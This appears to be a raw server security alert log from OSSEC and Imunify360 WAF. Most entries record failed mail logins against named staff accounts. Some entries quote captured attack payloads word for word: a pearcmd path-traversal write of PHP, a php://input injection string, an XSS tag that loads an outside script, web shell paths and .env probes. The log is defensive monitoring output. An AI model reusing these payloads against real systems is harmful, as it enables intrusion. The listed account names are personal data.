2026-07-14 17:52:55 dovecot_login authenticator failed for H=([213.186.233.10]) [210.123.87.143]:58742: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-14 17:53:13 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (abts-mum-static-140.111.170.122.airtelbroadband.in) [155.4.31.215]:34532: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-14 17:53:38 dovecot_login authenticator failed for H=(179.83.135.1.dynamic.adsl.gvt.net.br) [196.188.187.21]:46884: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-14 17:54:09 dovecot_login authenticator failed for H=([103.147.248.23]) [210.206.24.237]:64672: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-14 17:54:49 dovecot_login authenticator failed for H=([95.165.25.233]) [197.219.208.58]:58072: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-14 17:57:05 dovecot_login authenticator failed for H=([90.160.135.217]) [218.248.19.102]:54660: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 195.178.110.105
country_id: 732800
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/dump.sql||User:ibmcglobal||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.102.59
country_id: 294640
description:
2026-07-14 17:59:07 dovecot_login authenticator failed for H=(111-70-22-152.emome-ip.hinet.net) [130.185.102.59]:38662: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.195
country_id: 1733045
description:
2026-07-14 17:59:44 dovecot_login authenticator failed for H=([162.217.227.37]) [49.124.148.195]:45000: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-14 18:00:32 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([37.79.255.104]) [83.226.56.106]:46348: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-14 18:03:45 dovecot_login authenticator failed for H=([123.52.202.92]) [128.185.33.227]:54084: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-14 18:05:07 dovecot_login authenticator failed for H=([49.124.159.191]) [219.248.65.30]:51325: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 193.148.56.61
country_id: 732800
domain: metrodigitals.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoomiwll/fonts/ftijkpk.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-14 18:04:24 dovecot_login authenticator failed for H=([125.19.171.114]) [182.95.119.30]:40702: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 203.215.168.66
country_id: 1168579
domain: www.globalgroupoman.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:203.215.168.66||TA:203.215.168.66||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.131.76.71
country_id: 357994
description:
2026-07-14 18:06:22 dovecot_login authenticator failed for H=([187.9.84.33]) [213.131.76.71]:37696: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-14 18:07:37 dovecot_login authenticator failed for H=([178.217.74.104]) [125.19.163.58]:46272: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-14 18:12:17 dovecot_login authenticator failed for H=([223.223.194.187]) [116.72.9.151]:42158: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-14 18:12:22 dovecot_login authenticator failed for H=([201.234.106.215]) [196.189.59.226]:42104: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.40.215
country_id: 1835841
description:
2026-07-14 18:12:33 dovecot_login authenticator failed for H=([199.102.106.89]) [112.184.40.215]:59468: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-14 18:12:40 dovecot_login authenticator failed for H=([67.201.38.131]) [45.191.91.81]:56882: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-14 18:23:22 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com ([62.140.234.114]) [220.246.40.63]:33174: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.181.2.48
country_id: 3202326
description:
2026-07-14 18:23:41 dovecot_login authenticator failed for H=([106.0.165.219]) [5.181.2.48]:52044: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-14 18:24:10 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net (ip-142-54-226-210.hosts.zerolag.com) [51.68.226.171]:32884: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-14 18:25:06 dovecot_login authenticator failed for H=([31.173.67.141]) [182.95.176.122]:39784: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-14 18:25:38 dovecot_login authenticator failed for H=([49.124.152.170]) [1.250.67.190]:53336: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-14 18:25:24 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [116.72.9.151]:39194: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-14 18:25:33 dovecot_login authenticator failed for H=([49.124.153.58]) [64.49.97.15]:45954: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-14 18:26:01 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([218.52.113.36]) [148.170.156.248]:52788: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.156.82.197
country_id: 1861060
description:
2026-07-14 18:31:12 dovecot_login authenticator failed for H=p2715197-ipngnfx01funabasi.chiba.ocn.ne.jp ([200.37.179.83]) [114.156.82.197]:59401: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-14 18:33:29 dovecot_login authenticator failed for H=([220.119.59.78]) [1.227.228.131]:43054: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-14 18:33:50 dovecot_login authenticator failed for H=([174.77.111.220]) [197.219.228.246]:48920: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 103.253.27.240
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/user/contactcreator/ERENUSE/bash.Eren||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.255.189.44
country_id: 298795
description:
2026-07-14 18:38:41 dovecot_login authenticator failed for H=([184.185.2.1]) [88.255.189.44]:59058: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-14 18:39:18 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com ([91.146.24.164]) [78.66.44.23]:32898: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.198
country_id: 2328926
description:
2026-07-14 18:40:09 dovecot_login authenticator failed for H=(tdev152-182.codetel.net.do) [41.207.248.198]:49986: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-14 18:40:00 dovecot_login authenticator failed for H=([197.157.252.162]) [85.105.255.56]:58293: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.207
country_id: 1668284
description:
2026-07-14 18:40:28 dovecot_login authenticator failed for H=111-70-32-207.emome-ip.hinet.net ([107.85.14.222]) [111.70.32.207]:46073: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-14 18:44:14 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([174.75.211.211]) [121.6.81.59]:48244: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-14 18:43:41 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net (static.ill.61.2.246.139.bsnl.co.in) [72.234.16.75]:60780: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-14 18:44:38 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net (p5df1e80e.dip0.t-ipconnect.de) [110.25.105.240]:48423: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-14 18:44:44 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz (209.66.246.220.static.netvigator.com) [83.208.70.70]:49397: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-14 18:44:50 dovecot_login authenticator failed for H=(42-200-60-186.static.imsbiz.com) [62.164.148.87]:54050: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-14 18:45:07 dovecot_login authenticator failed for H=([180.94.75.90]) [113.193.187.154]:47736: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-14 18:44:27 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([120.224.242.78]) [64.251.149.81]:33400: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-14 18:46:58 dovecot_login authenticator failed for H=([65.20.141.202]) [122.160.15.31]:37966: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-14 18:47:05 dovecot_login authenticator failed for H=([65.20.217.64]) [121.131.220.137]:52783: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-14 18:47:26 dovecot_login authenticator failed for H=([192.111.135.19]) [38.212.67.79]:56513: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: idealloanz.com.au
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=62o5yk54&v=063qi||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: idealloanz.com.au
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=205rfm6b&v=z0nhw||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/%2e%2e/%2e%2e/.env?_=rx029mgn&v=4pubb||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-14 18:53:29 dovecot_login authenticator failed for H=(189-56-31-177.customer.tdatabrasil.net.br) [182.95.228.194]:42762: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-14 18:55:41 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network (49-0-82-0.24.fixed-public.sila1-bcr.myaisfibre.com) [202.62.129.18]:59592: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.253.23
country_id: 99237
description:
2026-07-14 18:56:55 dovecot_login authenticator failed for H=([112.184.37.182]) [62.201.253.23]:46826: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.181.2.48
country_id: 3202326
description:
2026-07-14 18:57:03 dovecot_login authenticator failed for H=([213.230.124.17]) [5.181.2.48]:52170: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.227.202
country_id: 337996
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 152.53.193.182
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/forgrass12-maker/pbck-exploit/main/font.css||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.161.151.29
country_id: 1562822
description:
2026-07-14 19:04:16 dovecot_login authenticator failed for H=([104.37.135.150]) [113.161.151.29]:54540: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-14 19:03:53 dovecot_login authenticator failed for H=([217.24.185.98]) [103.163.44.10]:38592: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.135.74.36
country_id: 6290252
description:
2026-07-14 19:06:55 dovecot_login authenticator failed for H=cable-24-135-74-36.dynamic.sbb.rs ([36.135.62.96]) [24.135.74.36]:46638: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-14 19:07:23 dovecot_login authenticator failed for H=([36.135.100.48]) [196.191.142.67]:55744: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.91.5
country_id: 1269750
description:
2026-07-14 19:19:10 dovecot_login authenticator failed for H=([195.211.39.144]) [122.165.91.5]:47782: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.225
country_id: 1733045
description:
2026-07-14 19:19:11 dovecot_login authenticator failed for H=(180.151.254.218.reverse.spectranet.in) [49.124.152.225]:34736: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-14 19:19:23 dovecot_login authenticator failed for H=(187-40-1-41.user.vtal.net.br) [103.171.55.242]:48240: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-14 19:19:33 dovecot_login authenticator failed for H=([116.114.84.246]) [200.107.163.195]:29192: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-14 19:23:29 dovecot_plain authenticator failed for H=(factar) [182.95.228.106]:39616: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.225.75
country_id: 1835841
description:
2026-07-14 19:24:24 dovecot_login authenticator failed for H=(static-158.128.194.14-tataidc.co.in) [125.143.225.75]:51668: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-14 19:24:28 dovecot_login authenticator failed for H=([68.71.245.203]) [195.222.43.138]:55274: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 172.233.81.39
country_id: 1861060
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s405100.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-14 19:24:41 dovecot_login authenticator failed for H=([220.189.209.18]) [103.171.39.147]:41548: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.20.8
country_id: 1835841
description:
2026-07-14 19:26:11 dovecot_login authenticator failed for H=([174.75.211.196]) [14.46.20.8]:45506: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-14 19:27:04 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [174.134.45.64]:38223: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-07-14 19:33:08 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl ([49.124.152.34]) [89.67.37.52]:46111: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-14 19:32:59 dovecot_login authenticator failed for H=([142.54.231.33]) [59.145.160.134]:50476: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.182.76
country_id: 1835841
description:
2026-07-14 19:33:26 dovecot_login authenticator failed for H=([197.219.228.246]) [124.153.182.76]:36052: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 23.144.4.122
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.28||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://js.aacaw.com/fp/v1.min.js\"></script>||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-14 19:36:34 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [188.122.39.33]:55666: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-14 19:36:45 dovecot_login authenticator failed for H=([192.111.135.19]) [122.186.249.6]:57072: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 124.156.212.23
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.foreximf.com/analisa-forex\">Analisa Gold</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.165.138
country_id: 3686110
description:
2026-07-14 19:42:13 dovecot_login authenticator failed for H=(vipturbo.com.br) [181.54.165.138]:41586: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-14 19:42:23 dovecot_login authenticator failed for H=([70.166.167.33]) [152.52.198.42]:34630: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77469916
abuser: 172.233.81.39
country_id: 1861060
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s829981.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 147.182.224.15
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 how to use stablecoins for shopping (<a href=\"https://buyonlinewithcrypto.com/\">https://buyonlinewithcrypto.com/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-14 19:48:07 dovecot_login authenticator failed for H=([121.172.104.204]) [62.164.148.87]:54128: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-14 19:48:26 dovecot_login authenticator failed for H=([183.171.236.104]) [197.219.208.38]:56056: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-14 19:50:52 dovecot_login authenticator failed for H=([125.19.218.50]) [14.35.209.208]:50996: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-14 19:51:05 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([121.131.220.152]) [110.25.105.240]:39772: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 8.222.225.103
country_id: 1880251
domain: 103.185.74.189:443
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../../../../../usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77218420
name: IM360 WAF: PHP Injection Attack: I/O Stream Found
abuser: 8.222.225.103
country_id: 1880251
domain: 103.185.74.189:443
description:
IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:MATCHED_VAR||MV:\xadd allow_url_include=1 \xadd auto_prepend_file=php://input||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 8.222.225.103
country_id: 1880251
domain: 103.185.74.189:443
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/hello.world||


plugin: modsec
rule: 77350515
name: IM360 WAF: Track OS file access attempt
abuser: 8.222.225.103
country_id: 1880251
domain: 103.185.74.189:443
description:
IM360 WAF: Track OS file access attempt||MV:/usr/local/lib/php/pearcmd& config-create /&/<?echo(md5(\"hi\"));?> /tmp/index1.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 152.53.246.82
country_id: 2921044
domain: ibmcglobal.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/ibmcglobal/public_html/index.php||User:ibmcglobal||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-14 19:56:17 dovecot_login authenticator failed for H=([61.99.249.45]) [182.95.119.30]:56986: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-14 19:58:00 dovecot_login authenticator failed for H=([103.68.52.210]) [182.95.176.122]:47190: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.131.194.115
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.ini||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.212.176.37
country_id: 6252001
description:
2026-07-14 20:03:17 dovecot_login authenticator failed for H=wsip-72-212-176-37.hr.hr.cox.net ([174.75.211.195]) [72.212.176.37]:43086: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-14 20:03:15 dovecot_login authenticator failed for H=([124.152.90.68]) [202.88.209.51]:56538: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-14 20:03:46 dovecot_login authenticator failed for H=([112.31.167.120]) [122.185.44.206]:46533: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-07-14 20:03:33 dovecot_login authenticator failed for H=([121.131.220.137]) [70.91.135.181]:48164: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-14 20:12:30 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([196.0.113.110]) [112.120.115.152]:50964: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-14 20:15:30 dovecot_login authenticator failed for H=([45.167.250.173]) [106.247.22.181]:56769: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-14 20:17:17 dovecot_login authenticator failed for H=([211.49.80.72]) [210.206.24.237]:26434: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.96
country_id: 1733045
description:
2026-07-14 20:17:44 dovecot_login authenticator failed for H=([45.82.110.150]) [49.124.147.96]:57142: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 212.95.138.46
country_id: 99237
domain: alnayza.com
description:
